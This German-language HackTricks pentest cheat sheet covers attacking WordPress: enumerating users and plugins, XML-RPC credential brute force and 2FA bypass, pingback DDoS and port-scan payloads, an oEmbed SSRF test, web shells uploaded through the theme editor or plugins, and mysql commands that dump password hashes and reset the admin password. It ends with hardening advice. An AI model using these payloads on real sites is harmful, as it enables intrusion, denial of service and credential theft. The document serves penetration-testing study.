Wordpress
Reading time: 16 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundinformationen
-
Hochgeladene Dateien gehen zu:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt
-
Theme-Dateien finden sich in /wp-content/themes/, also wenn Sie etwas PHP des Themes ändern, um RCE zu erhalten, werden Sie wahrscheinlich diesen Pfad verwenden. Zum Beispiel: Mit Theme twentytwelve können Sie die 404.php-Datei unter: /wp-content/themes/twentytwelve/404.php zugreifen.
-
Eine weitere nützliche URL könnte sein: /wp-content/themes/default/404.php
-
In wp-config.php finden Sie das Root-Passwort der Datenbank.
-
Standard-Login-Pfade zum Überprüfen: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Haupt WordPress-Dateien
index.php
license.txt
enthält nützliche Informationen wie die installierte WordPress-Version.wp-activate.php
wird für den E-Mail-Aktivierungsprozess beim Einrichten einer neuen WordPress-Website verwendet.- Login-Ordner (könnten umbenannt werden, um sie zu verbergen):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
ist eine Datei, die eine Funktion von WordPress darstellt, die es ermöglicht, Daten über HTTP zu übertragen, wobei HTTP als Transportmechanismus und XML als Kodierungsmechanismus fungiert. Diese Art der Kommunikation wurde durch die WordPress REST API ersetzt.- Der
wp-content
-Ordner ist das Hauptverzeichnis, in dem Plugins und Themes gespeichert sind. wp-content/uploads/
ist das Verzeichnis, in dem alle auf die Plattform hochgeladenen Dateien gespeichert werden.wp-includes/
Dies ist das Verzeichnis, in dem Kern-Dateien gespeichert sind, wie Zertifikate, Schriftarten, JavaScript-Dateien und Widgets.wp-sitemap.xml
In WordPress-Versionen 5.5 und höher generiert WordPress eine Sitemap-XML-Datei mit allen öffentlichen Beiträgen und öffentlich abfragbaren Beitragstypen und Taxonomien.
Post-Exploitation
- Die Datei
wp-config.php
enthält Informationen, die WordPress benötigt, um eine Verbindung zur Datenbank herzustellen, wie den Datenbanknamen, den Datenbank-Host, den Benutzernamen und das Passwort, Authentifizierungsschlüssel und Salze sowie das Datenbanktabellen-Präfix. Diese Konfigurationsdatei kann auch verwendet werden, um den DEBUG-Modus zu aktivieren, was bei der Fehlersuche nützlich sein kann.
Benutzerberechtigungen
- Administrator
- Editor: Veröffentlicht und verwaltet seine und andere Beiträge
- Autor: Veröffentlicht und verwaltet seine eigenen Beiträge
- Mitwirkender: Schreibt und verwaltet seine Beiträge, kann sie jedoch nicht veröffentlichen
- Abonnent: Durchsucht Beiträge und bearbeitet sein Profil
Passive Enumeration
WordPress-Version abrufen
Überprüfen Sie, ob Sie die Dateien /license.txt
oder /readme.html
finden können.
Im Quellcode der Seite (Beispiel von https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- CSS-Link-Dateien
- JavaScript-Dateien
Plugins abrufen
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Holen Sie sich Themes
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Versionen im Allgemeinen extrahieren
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Aktive Enumeration
Plugins und Themes
Sie werden wahrscheinlich nicht in der Lage sein, alle möglichen Plugins und Themes zu finden. Um alle zu entdecken, müssen Sie aktiv eine Liste von Plugins und Themes brute-forcen (hoffentlich gibt es automatisierte Tools, die diese Listen enthalten).
Benutzer
- ID Brute: Sie erhalten gültige Benutzer von einer WordPress-Seite, indem Sie die Benutzer-IDs brute-forcen:
curl -s -I -X GET http://blog.example.com/?author=1
Wenn die Antworten 200 oder 30X sind, bedeutet das, dass die ID gültig ist. Wenn die Antwort 400 ist, dann ist die ID ungültig.
- wp-json: Sie können auch versuchen, Informationen über die Benutzer abzurufen, indem Sie abfragen:
curl http://blog.example.com/wp-json/wp/v2/users
Ein weiterer /wp-json/
Endpunkt, der einige Informationen über Benutzer offenbaren kann, ist:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Beachten Sie, dass dieser Endpunkt nur Benutzer anzeigt, die einen Beitrag erstellt haben. Es werden nur Informationen über die Benutzer bereitgestellt, die diese Funktion aktiviert haben.
Beachten Sie auch, dass /wp-json/wp/v2/pages IP-Adressen leaken könnte.
- Login-Benutzernamen-Enumeration: Beim Login in
/wp-login.php
ist die Nachricht anders, wenn der angegebene Benutzername existiert oder nicht.
XML-RPC
Wenn xml-rpc.php
aktiv ist, können Sie einen Brute-Force-Angriff auf die Anmeldeinformationen durchführen oder es verwenden, um DoS-Angriffe auf andere Ressourcen zu starten. (Sie können diesen Prozess automatisieren indem Sie dies verwenden zum Beispiel).
Um zu sehen, ob es aktiv ist, versuchen Sie, auf /xmlrpc.php zuzugreifen und senden Sie diese Anfrage:
Überprüfen
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Anmeldeinformationen Bruteforce
wp.getUserBlogs
, wp.getCategories
oder metaWeblog.getUsersBlogs
sind einige der Methoden, die verwendet werden können, um Anmeldeinformationen zu bruteforcen. Wenn Sie eine davon finden können, können Sie etwas wie senden:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Die Nachricht "Ungültiger Benutzername oder Passwort" innerhalb einer 200-Code-Antwort sollte erscheinen, wenn die Anmeldeinformationen nicht gültig sind.
Mit den richtigen Anmeldeinformationen können Sie eine Datei hochladen. In der Antwort wird der Pfad erscheinen (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Es gibt auch einen schnelleren Weg, um Anmeldeinformationen mit system.multicall
zu brute-forcen, da Sie mehrere Anmeldeinformationen in derselben Anfrage ausprobieren können:
Umgehung von 2FA
Diese Methode ist für Programme und nicht für Menschen gedacht und ist alt, daher unterstützt sie kein 2FA. Wenn Sie also gültige Anmeldeinformationen haben, aber der Haupteingang durch 2FA geschützt ist, könnten Sie in der Lage sein, xmlrpc.php zu missbrauchen, um sich mit diesen Anmeldeinformationen anzumelden und 2FA zu umgehen. Beachten Sie, dass Sie nicht alle Aktionen ausführen können, die Sie über die Konsole durchführen können, aber Sie könnten dennoch in der Lage sein, zu RCE zu gelangen, wie Ippsec es in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s erklärt.
DDoS oder Port-Scanning
Wenn Sie die Methode pingback.ping in der Liste finden, können Sie Wordpress anweisen, eine beliebige Anfrage an einen beliebigen Host/Port zu senden.
Dies kann verwendet werden, um tausende von Wordpress Seiten zu bitten, einen Standort zu zugreifen (so wird ein DDoS an diesem Standort verursacht) oder Sie können es verwenden, um Wordpress dazu zu bringen, einige interne Netzwerke zu scannen (Sie können jeden Port angeben).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
Wenn Sie faultCode mit einem Wert größer als 0 (17) erhalten, bedeutet das, dass der Port offen ist.
Schauen Sie sich die Verwendung von system.multicall
im vorherigen Abschnitt an, um zu lernen, wie man diese Methode missbraucht, um DDoS zu verursachen.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Diese Datei existiert normalerweise im Root-Verzeichnis der Wordpress-Seite: /wp-cron.php
Wenn diese Datei zugegriffen wird, wird eine "schwere" MySQL Abfrage ausgeführt, die von Angreifern genutzt werden könnte, um eine DoS zu verursachen.
Außerdem wird standardmäßig die wp-cron.php
bei jedem Seitenaufruf (jedes Mal, wenn ein Client eine Wordpress-Seite anfordert) aufgerufen, was auf stark frequentierten Seiten Probleme (DoS) verursachen kann.
Es wird empfohlen, Wp-Cron zu deaktivieren und einen echten Cronjob im Host zu erstellen, der die benötigten Aktionen in regelmäßigen Abständen ausführt (ohne Probleme zu verursachen).
/wp-json/oembed/1.0/proxy - SSRF
Versuchen Sie, https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net aufzurufen, und die Wordpress-Seite könnte eine Anfrage an Sie senden.
Dies ist die Antwort, wenn es nicht funktioniert:
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
Dieses Tool überprüft, ob der methodName: pingback.ping und der Pfad /wp-json/oembed/1.0/proxy existieren, und versucht, diese auszunutzen.
Automatische Werkzeuge
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Zugriff durch Überschreiben eines Bits erhalten
Mehr als ein echter Angriff ist dies eine Neugier. Im CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man konnte man 1 Bit aus einer beliebigen WordPress-Datei umkehren. Man konnte also die Position 5389
der Datei /var/www/html/wp-includes/user.php
umkehren, um die NOT-Operation (!
) zu NOPen.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Ändern einer PHP-Datei aus dem verwendeten Theme (Admin-Anmeldeinformationen erforderlich)
Aussehen → Theme-Editor → 404-Vorlage (rechts)
Ändern Sie den Inhalt in eine PHP-Shell:
Suchen Sie im Internet, wie Sie auf diese aktualisierte Seite zugreifen können. In diesem Fall müssen Sie hier zugreifen: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Sie können verwenden:
use exploit/unix/webapp/wp_admin_shell_upload
um eine Sitzung zu erhalten.
Plugin RCE
PHP-Plugin
Es kann möglich sein, .php-Dateien als Plugin hochzuladen.
Erstellen Sie Ihre PHP-Hintertür beispielsweise mit:
Fügen Sie dann ein neues Plugin hinzu:
Laden Sie das Plugin hoch und drücken Sie auf Jetzt installieren:
Klicken Sie auf Fortfahren:
Wahrscheinlich wird dies anscheinend nichts bewirken, aber wenn Sie zu Medien gehen, werden Sie Ihre Shell hochgeladen sehen:
Greifen Sie darauf zu und Sie werden die URL sehen, um die Reverse-Shell auszuführen:
Hochladen und Aktivieren eines bösartigen Plugins
Diese Methode beinhaltet die Installation eines bösartigen Plugins, das als anfällig bekannt ist und ausgenutzt werden kann, um eine Web-Shell zu erhalten. Dieser Prozess wird über das WordPress-Dashboard wie folgt durchgeführt:
- Plugin-Akquisition: Das Plugin wird aus einer Quelle wie Exploit DB wie hier bezogen.
- Plugin-Installation:
- Navigieren Sie zum WordPress-Dashboard, dann zu
Dashboard > Plugins > Plugin hochladen
. - Laden Sie die Zip-Datei des heruntergeladenen Plugins hoch.
- Plugin-Aktivierung: Sobald das Plugin erfolgreich installiert ist, muss es über das Dashboard aktiviert werden.
- Ausnutzung:
- Mit dem installierten und aktivierten Plugin "reflex-gallery" kann es ausgenutzt werden, da es als anfällig bekannt ist.
- Das Metasploit-Framework bietet einen Exploit für diese Schwachstelle. Durch Laden des entsprechenden Moduls und Ausführen spezifischer Befehle kann eine Meterpreter-Sitzung eingerichtet werden, die unbefugten Zugriff auf die Site gewährt.
- Es wird angemerkt, dass dies nur eine der vielen Methoden ist, um eine WordPress-Website auszunutzen.
Der Inhalt enthält visuelle Hilfsmittel, die die Schritte im WordPress-Dashboard zur Installation und Aktivierung des Plugins darstellen. Es ist jedoch wichtig zu beachten, dass das Ausnutzen von Schwachstellen auf diese Weise illegal und unethisch ist, ohne die entsprechende Genehmigung. Diese Informationen sollten verantwortungsbewusst und nur in einem rechtlichen Kontext verwendet werden, wie z.B. beim Penetration Testing mit ausdrücklicher Genehmigung.
Für detailliertere Schritte siehe: https://www.hackingarticles.in/wordpress-reverse-shell/
Von XSS zu RCE
- WPXStrike: WPXStrike ist ein Skript, das entwickelt wurde, um eine Cross-Site Scripting (XSS)-Schwachstelle in Remote Code Execution (RCE) oder andere kritische Schwachstellen in WordPress zu eskalieren. Für weitere Informationen siehe diesen Beitrag. Es bietet Unterstützung für WordPress-Versionen 6.X.X, 5.X.X und 4.X.X und ermöglicht:
- Privilegieneskalation: Erstellt einen Benutzer in WordPress.
- (RCE) Benutzerdefiniertes Plugin (Hintertür) hochladen: Laden Sie Ihr benutzerdefiniertes Plugin (Hintertür) in WordPress hoch.
- (RCE) Eingebautes Plugin bearbeiten: Bearbeiten Sie ein eingebautes Plugin in WordPress.
- (RCE) Eingebautes Theme bearbeiten: Bearbeiten Sie ein eingebautes Theme in WordPress.
- (Benutzerdefiniert) Benutzerdefinierte Exploits: Benutzerdefinierte Exploits für Drittanbieter-WordPress-Plugins/Themes.
Nach der Ausnutzung
Benutzernamen und Passwörter extrahieren:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Ändern Sie das Admin-Passwort:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Plugins Pentest
Angriffsfläche
Zu wissen, wie ein Wordpress-Plugin Funktionen offenlegen kann, ist entscheidend, um Schwachstellen in seiner Funktionalität zu finden. Sie können herausfinden, wie ein Plugin Funktionen offenlegen könnte, in den folgenden Aufzählungspunkten und einigen Beispielen für anfällige Plugins in diesem Blogbeitrag.
wp_ajax
Eine der Möglichkeiten, wie ein Plugin Funktionen für Benutzer offenlegen kann, ist über AJAX-Handler. Diese könnten Logik-, Autorisierungs- oder Authentifizierungsfehler enthalten. Darüber hinaus ist es häufig der Fall, dass diese Funktionen sowohl die Authentifizierung als auch die Autorisierung auf das Vorhandensein eines Wordpress-Nonce stützen, den jeder in der Wordpress-Instanz authentifizierte Benutzer haben könnte (unabhängig von seiner Rolle).
Dies sind die Funktionen, die verwendet werden können, um eine Funktion in einem Plugin offenzulegen:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
Die Verwendung von nopriv
macht den Endpunkt für alle Benutzer zugänglich (auch für nicht authentifizierte).
caution
Darüber hinaus, wenn die Funktion nur die Autorisierung des Benutzers mit der Funktion wp_verify_nonce
überprüft, prüft diese Funktion nur, ob der Benutzer angemeldet ist, sie überprüft normalerweise nicht die Rolle des Benutzers. Daher könnten Benutzer mit niedrigen Berechtigungen Zugriff auf hochprivilegierte Aktionen haben.
- REST API
Es ist auch möglich, Funktionen von WordPress zu exponieren, indem man eine REST-API mit der Funktion register_rest_route
registriert:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
Der permission_callback
ist ein Callback zu einer Funktion, die überprüft, ob ein gegebener Benutzer berechtigt ist, die API-Methode aufzurufen.
Wenn die eingebaute __return_true
-Funktion verwendet wird, wird die Überprüfung der Benutzerberechtigungen einfach übersprungen.
- Direkter Zugriff auf die PHP-Datei
Natürlich verwendet WordPress PHP, und Dateien innerhalb von Plugins sind direkt über das Web zugänglich. Falls ein Plugin also eine verwundbare Funktionalität offenlegt, die nur durch den Zugriff auf die Datei ausgelöst wird, ist es für jeden Benutzer ausnutzbar.
WordPress-Schutz
Regelmäßige Updates
Stellen Sie sicher, dass WordPress, Plugins und Themes auf dem neuesten Stand sind. Bestätigen Sie auch, dass die automatische Aktualisierung in wp-config.php aktiviert ist:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Auch, installieren Sie nur vertrauenswürdige WordPress-Plugins und -Themes.
Sicherheits-Plugins
Weitere Empfehlungen
- Entfernen Sie den standardmäßigen admin-Benutzer
- Verwenden Sie starke Passwörter und 2FA
- Überprüfen Sie regelmäßig die Berechtigungen der Benutzer
- Begrenzen Sie die Anmeldeversuche, um Brute-Force-Angriffe zu verhindern
- Benennen Sie die
wp-admin.php
-Datei um und erlauben Sie den Zugriff nur intern oder von bestimmten IP-Adressen.
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.